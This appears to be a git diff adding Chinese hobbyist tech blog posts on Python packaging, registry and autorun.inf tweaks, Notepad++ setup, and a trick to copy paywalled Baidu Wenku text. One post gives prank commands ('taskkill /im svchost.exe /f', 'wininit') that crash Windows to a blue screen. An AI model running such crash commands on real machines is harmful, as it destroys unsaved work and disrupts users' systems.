+如果想要安装,请看[我的文章](https://blog.csdn.net/PanDaoxi2020/article/details/111329714)! diff --git "a/\345\246\202\344\275\225\345\244\215\345\210\266\347\231\276\345\272\246\346\226\207\345\272\223\344\270\255\347\232\204\345\206\205\345\256\271.md" "b/\345\246\202\344\275\225\345\244\215\345\210\266\347\231\276\345\272\246\346\226\207\345\272\223\344\270\255\347\232\204\345\206\205\345\256\271.md" new file mode 100644 index 0000000..d11004b --- /dev/null +++ "b/\345\246\202\344\275\225\345\244\215\345\210\266\347\231\276\345\272\246\346\226\207\345\272\223\344\270\255\347\232\204\345\206\205\345\256\271.md" @@ -0,0 +1,33 @@ +今天想找个什么好句子复制下来测试程序,我就从百度文库上搜,结果需要付费: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/331de19aecd441918d9933b037cb373b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +那么,我有两种方法可以避开它: +(一)**乖乖付费(当然不是我想说的)** +(二)**使用开发者模式禁用`JS`** +按`F12`键(笔记本`Fn`+`F12`),打开“审查元素”,如果没有的话就换一个浏览器,推荐`IE`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/feea4a67f9744a8d98434f9fe2f95ad9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +点击小齿轮,找到首选项: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/aecf3e5ffb294bcd808c34ea9dc98cc5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8f2f4dc6b69b48489abca6537f5902b9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +选择这两项,不要关掉: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/561cd50935f649d7ba887309998bdefc.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/443cae51ec3c42f08e5c683c8b852c0b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +现在,我们可以随心所欲复制了: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/df90087a18de40cea7cac4ee081dc023.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +送你一句话: + +> 别指望所有的人都能懂你,因为萝卜白菜,各有所爱。你做了萝卜,自然就做不成青菜。 +> Don't expect everyone to understand you, because radish and cabbage have their own love. If you make radishes, you can't make green vegetables naturally. + +(三)**使用搜索的方式** +首先选中你要复制的句子: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/832ab48444c34859bdda9964092d281d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +点击搜索,进入搜索页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2420aa2e21e64968be8e0142704e8f02.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +直接从搜索框复制!但是有一缺点,空格复制不好,容易变成其他东西,变回去就好了: + +> 原文:`Don't+expect+everyone+to+understand+you,+because+radish+and+cabbage+have+their+own+love.+If+you+make+radishes,+you+can't+make+green+vegetables+naturally.` + +修改后: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/eb2b814fe4d24aabb473138afa0d6a51.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +可得到原文了:`Don't expect everyone to understand you, because radish and cabbage have their own love. If you make radishes, you can't make green vegetables naturally.` diff --git "a/\345\246\202\344\275\225\345\277\253\351\200\237\345\256\211\350\243\205\344\270\200\344\270\252\346\250\241\345\235\227.md" "b/\345\246\202\344\275\225\345\277\253\351\200\237\345\256\211\350\243\205\344\270\200\344\270\252\346\250\241\345\235\227.md" new file mode 100644 index 0000000..f16f91d --- /dev/null +++ "b/\345\246\202\344\275\225\345\277\253\351\200\237\345\256\211\350\243\205\344\270\200\344\270\252\346\250\241\345\235\227.md" @@ -0,0 +1,15 @@ +这篇文章我们来介绍如何快速安装一个Python模块。 +首先我们需要找到Python的安装目录,我的地址是`D:\python`,我们打开下面的`Lib`文件夹,里面有很多文件: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201217202605392.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +将模块文件复制到这里即可: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201217202647703.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +这样我们就安装完成了。 +
+最近在搞项目,可能写博客的频率比较低,请各位谅解! +
+最后是我的比赛证书,不可转载,此处为我的笔记! + +决赛证书 +复赛证书 +初赛证书 + diff --git "a/\345\246\202\344\275\225\346\212\212Python\347\250\213\345\272\217\346\211\223\345\214\205\346\210\220\345\272\224\347\224\250\347\250\213\345\272\217.md" "b/\345\246\202\344\275\225\346\212\212Python\347\250\213\345\272\217\346\211\223\345\214\205\346\210\220\345\272\224\347\224\250\347\250\213\345\272\217.md" new file mode 100644 index 0000000..8835b0e --- /dev/null +++ "b/\345\246\202\344\275\225\346\212\212Python\347\250\213\345\272\217\346\211\223\345\214\205\346\210\220\345\272\224\347\224\250\347\250\213\345\272\217.md" @@ -0,0 +1,61 @@ +> 本次我们需要使用`pyinstaller`工具,请使用`pip3 install pyinstaller`来安装。 +> 还需要`easygui`模块,使用同样方法安装。 + +我们安装成功后,制作一个简单的小游戏: + +```python +from random import randint +from easygui import msgbox,integerbox + +secret = randint(1,100) +title = '猜数字' +tries = 0 +msgbox('现在开始猜数字,数字的范围是1-100!',title) +temp = integerbox("请输入一个数字:",title) +guess = int(temp) + +if guess == secret: + msgbox("恭喜你一次就猜对了!",title) +else: + if guess < secret: + msgbox("猜小了!",title) + else: + msgbox("猜大了!",title) + +while guess != secret and tries < 15: + temp = integerbox("猜错了,重新猜猜吧:",title) + guess = int(temp) + tries += 1 + if guess == secret: + msgbox("恭喜您,猜对啦!",title) + else: + if guess < secret: + msgbox("猜小了!",title) + else: + msgbox('猜大了!',title) + while tries >=5: + msgbox("没有机会了!",title) + break +msgbox("哈哈,正确数字是" + str(secret) + '!',title) +``` +这是一个猜数游戏。我们把它放在一个文件夹下,命名为`guess.py`。可以先看一下实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212336854.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212418386.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212432142.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +…… +效果就先不说了。打开命令提示符,切换到当前目录: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212616990.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +输入以下代码: + +``` +pyinstaller guess.py -F -w +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212732483.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +然后点回车键,发生了以下的事情: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212843585.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212848116.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +当看到语句`Building EXE from EXE-00.toc completed successfully.`时,那么我们就成功了!看一下: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214212948661.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们的文件夹里多了很多文件,可执行文件在`dist`文件夹里: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201214213037119.png) +效果和运行程序一模一样! diff --git "a/\345\246\202\344\275\225\346\212\212\345\233\276\346\240\207\347\232\204\345\260\217\347\256\255\345\244\264\345\210\240\346\216\211.md" "b/\345\246\202\344\275\225\346\212\212\345\233\276\346\240\207\347\232\204\345\260\217\347\256\255\345\244\264\345\210\240\346\216\211.md" new file mode 100644 index 0000000..3caa658 --- /dev/null +++ "b/\345\246\202\344\275\225\346\212\212\345\233\276\346\240\207\347\232\204\345\260\217\347\256\255\345\244\264\345\210\240\346\216\211.md" @@ -0,0 +1,44 @@ +一个快捷方式,总是有小箭头,**不好看**。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210218115215168.png) + +本文将介绍如何删除这些小箭头、如何恢复。 + +
+ +# 删除 +新建一个批处理文件,输入以下代码: + +```powershell +@echo off +chcp 65001 >nul +reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d >nul "%systemroot%\system32\imageres.dll,197" /t reg_sz /f >nul +taskkill /f /im explorer.exe >nul +attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db" >nul +del "%userprofile%\AppData\Local\iconcache.db" /f /q >nul +explorer + +echo 已完成! +pause +``` +保存、退出,选中文件,点击右键中的**以管理员身份运行**: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210218115718583.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +运行后一刷新,发现图标小箭头,啪!没了。 + +
+ +# 恢复 +如何恢复? + +```powershell +@echo off +chcp 65001 >nul +reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /f >nul +taskkill /f /im explorer.exe >nul +attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db" >nul +del "%userprofile%\AppData\Local\iconcache.db" /f /q >nul +explorer + +echo 已完成! +pause +``` +同样的方法运行后,图标上的小箭头恢复。 diff --git "a/\345\246\202\344\275\225\347\273\231U\347\233\230\346\233\264\346\215\242\345\233\276\346\240\207.md" "b/\345\246\202\344\275\225\347\273\231U\347\233\230\346\233\264\346\215\242\345\233\276\346\240\207.md" new file mode 100644 index 0000000..040985b --- /dev/null +++ "b/\345\246\202\344\275\225\347\273\231U\347\233\230\346\233\264\346\215\242\345\233\276\346\240\207.md" @@ -0,0 +1,49 @@ +千篇一律的U盘图标: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a292eaad11fe41bd99f09ac6eb24b388.png) +焕然一新的U盘图标: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/30856b2d9e4b4a569a26af0d1b96f4f8.png) +不只是U盘,磁盘也能行,但是需要重启一下。 + +
+ +## 认识`autorun.inf` +相信大家听说过“暴风一号”这个U盘病毒,它利用了`autorun.inf`,当我们打开某个文件夹时,**这个安装信息会自动地打开病毒程序,感染更多文件**。 +当然啦,这个时代谁还敢制作传染性病毒呢?这个文件我们只要好好利用,也能干出花样来。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/418446aa8301479aaf59e7f37b2933ac.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/653f3fc70149405193fb715e8b9ac6e4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2796492fa9ed40e886935da7329c4cb9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/38957bb71d0948fab9ab3d3d5a9ff1ce.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +
+ +## 上手操作! +这里换一个U盘(不管配置)做例子,首先把U盘插进电脑,可见此时的图标尚未变化: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fbd5bc3d14134e9ab9e4681b97ed013f.png) +这时候我们需要准备一个图标文件,可以从网上找,也可以把图片修改成`.ico`格式,从网上找对应的网站,下载下来。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/07b69da463694d2e9e0dabcf65dab325.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4201925fd7304d698ba8491d7debc933.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +把它拷到U盘里,创建一个文本文档,重命名为`autorun.inf`,双击打开编辑。中间杀毒软件可能提醒,点击允许即可。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/da5526280498416197fffa197d555802.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b987b2e06b9b494596bd482143594dcb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_18,color_FFFFFF,t_70,g_se,x_16) +输入以下内容: + +```bash +[autorun] +icon=icon.ico,0 +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3ed11807b14544fabf1a75158b6ff1ef.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +退出后选择这两个文件,点击属性,选择隐藏。 +或使用命令`attrib +s +h icon.ico & atrib +s +h autorun.inf`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/eb3b2db3f73447f784ccd7cf9b47aef7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +拔掉重插。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/473eb31a90e94f68a9ae4291dcb858e5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +呃………………这画风……………… + +
+ +## 想删掉了怎么整 +打开命令提示符,输入命令`attrib -s -h *.*`,会显示出来: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/91109b8bffdd430dbd7f55e08c632ec5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +直接删掉即可。 diff --git "a/\345\246\202\344\275\225\350\256\251\347\224\265\350\204\221\345\277\253\351\200\237\350\223\235\345\261\217\357\274\210\345\217\252\346\230\257\344\270\252\347\216\251\347\254\221\357\274\211.md" "b/\345\246\202\344\275\225\350\256\251\347\224\265\350\204\221\345\277\253\351\200\237\350\223\235\345\261\217\357\274\210\345\217\252\346\230\257\344\270\252\347\216\251\347\254\221\357\274\211.md" new file mode 100644 index 0000000..e48ccfe --- /dev/null +++ "b/\345\246\202\344\275\225\350\256\251\347\224\265\350\204\221\345\277\253\351\200\237\350\223\235\345\261\217\357\274\210\345\217\252\346\230\257\344\270\252\347\216\251\347\254\221\357\274\211.md" @@ -0,0 +1,35 @@ +蓝瓶钙,好喝的钙~ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b61f6ebd37464c808c5ede8dd2c1d181.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_11,color_FFFFFF,t_70,g_se,x_16) + +@[TOC](目录) + +
+ +> 下面的代码都具有一定危害,可以使电脑蓝屏,虽然不影响电脑以后的使用,但是还是建议在安全环境下开玩笑。不要拿去做坏事,发生的一切后果与作者无关。 + +
+ +好了,该说的话都说了,由于我的虚拟机系统蓝屏被精简掉了(就离谱,蓝屏=退出,直接卡“八哥”),在这里我使用正常一些的win10PE来操作。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d30c24389df640d1ae75f45920b5d83e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +嘿嘿,试一下吧。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/063295c78b9d42e99fbbc0b50cc7052e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +
+ +# 第一种办法 +打开一个管理员身份的命令提示符: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bcb694aa857b49d4ae24a2b7f44cdb84.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +输入命令,结束服务主机进程:`taskkill /im svchost.exe /f` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4b389ec2801f498389d08df5ebabb706.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +好蓝啊,这是真的蓝屏,得重启了。 +操作视频: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f87a71f380c749a5bdddaff1403ecd77.gif#pic_center) + +# 第二种办法 +这个是win10系统的一个`bug`。使用快捷键`Win+X`,打开`PowerShell(管理员)`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ae259fa4ae5f4ef9a3dd5e8af4d211f4.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +输入bug代码:`wininit` +不一会,卡崩了(我说了这是我虚拟机的蓝屏)。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0ee71af7e40545ae8a6923266fc5534e.gif#pic_center) + diff --git "a/\345\246\202\344\275\225\351\200\232\350\277\207IP\345\234\260\345\235\200\346\235\245\350\256\277\351\227\256\347\275\221\347\253\231.md" "b/\345\246\202\344\275\225\351\200\232\350\277\207IP\345\234\260\345\235\200\346\235\245\350\256\277\351\227\256\347\275\221\347\253\231.md" new file mode 100644 index 0000000..cd8cf9c --- /dev/null +++ "b/\345\246\202\344\275\225\351\200\232\350\277\207IP\345\234\260\345\235\200\346\235\245\350\256\277\351\227\256\347\275\221\347\253\231.md" @@ -0,0 +1,11 @@ +今天我们写极少量的代码,来实现用IP地址来访问一个网站。步骤如下: + + 1. 打开**命令提示符**,输入以下代码: +(这里用CSDN官网`https://www.csdn.net/`为例) +输入代码`ping csdn.net /n 5` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201022205250812.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + 2. 复制上面`正在 Ping csdn.net [47.95.164.112]`中的`47.95.164.112`,每台电脑测试的都不一样,所以照做就行,不要复制。 + 3. 打开浏览器在网址栏输入复制的IP,按回车,完成。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201022205700756.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + + diff --git "a/\345\256\211\350\243\205\347\274\226\350\276\221\345\231\250Notepad++.md" "b/\345\256\211\350\243\205\347\274\226\350\276\221\345\231\250Notepad++.md" new file mode 100644 index 0000000..b4f2418 --- /dev/null +++ "b/\345\256\211\350\243\205\347\274\226\350\276\221\345\231\250Notepad++.md" @@ -0,0 +1,50 @@ +我们先下载一个文件,[点这里下载](https://notepad-plus.en.softonic.com/)! +(自行安装[Python](https://python.org/)) +下载好以后,发现这是一个压缩包。先创建一个文件夹。将压缩包在此文件夹下解压。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109101221546.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +打开`notepad++.exe`,是如下页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109101414288.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +现在我们打开上面的`Settings`,然后点`Style Configurator`,进入这个页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109101950949.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +点箭头的位置。然后看上面`Select theme`,选一个喜欢的背景。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109102434224.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +选择下面的两个小“√”,改下字体大小,我设成`20`: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109102528202.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +点下面的`Save & Close`按钮。保存后变成这样: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109102718699.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们打开上面的的`Run`下面的`Run`, +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109102822953.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109102854117.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +输入代码:`cmd /k python路径\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT` +注意替换路径! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109103022425.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +点`Save`保存快捷方式,设置一个快捷键,一个名字: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109103157767.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +如果被占用就换一个。完成后点击`OK`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109103332584.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们在下面找到了刚才创建的快捷方式。 +
+下面我们来说编写、运行代码。
+首先我们打开一个文件,点击左上角的按钮,如下展示的列表: +

+ +(点击下面的 `Open Folder as Workspace`创建工作空间) + +可以发现,这个工具含有自动补全功能。 + +我们来写一个小程序: + +使用刚才的快捷键,我们可以发现: + +成功! + +
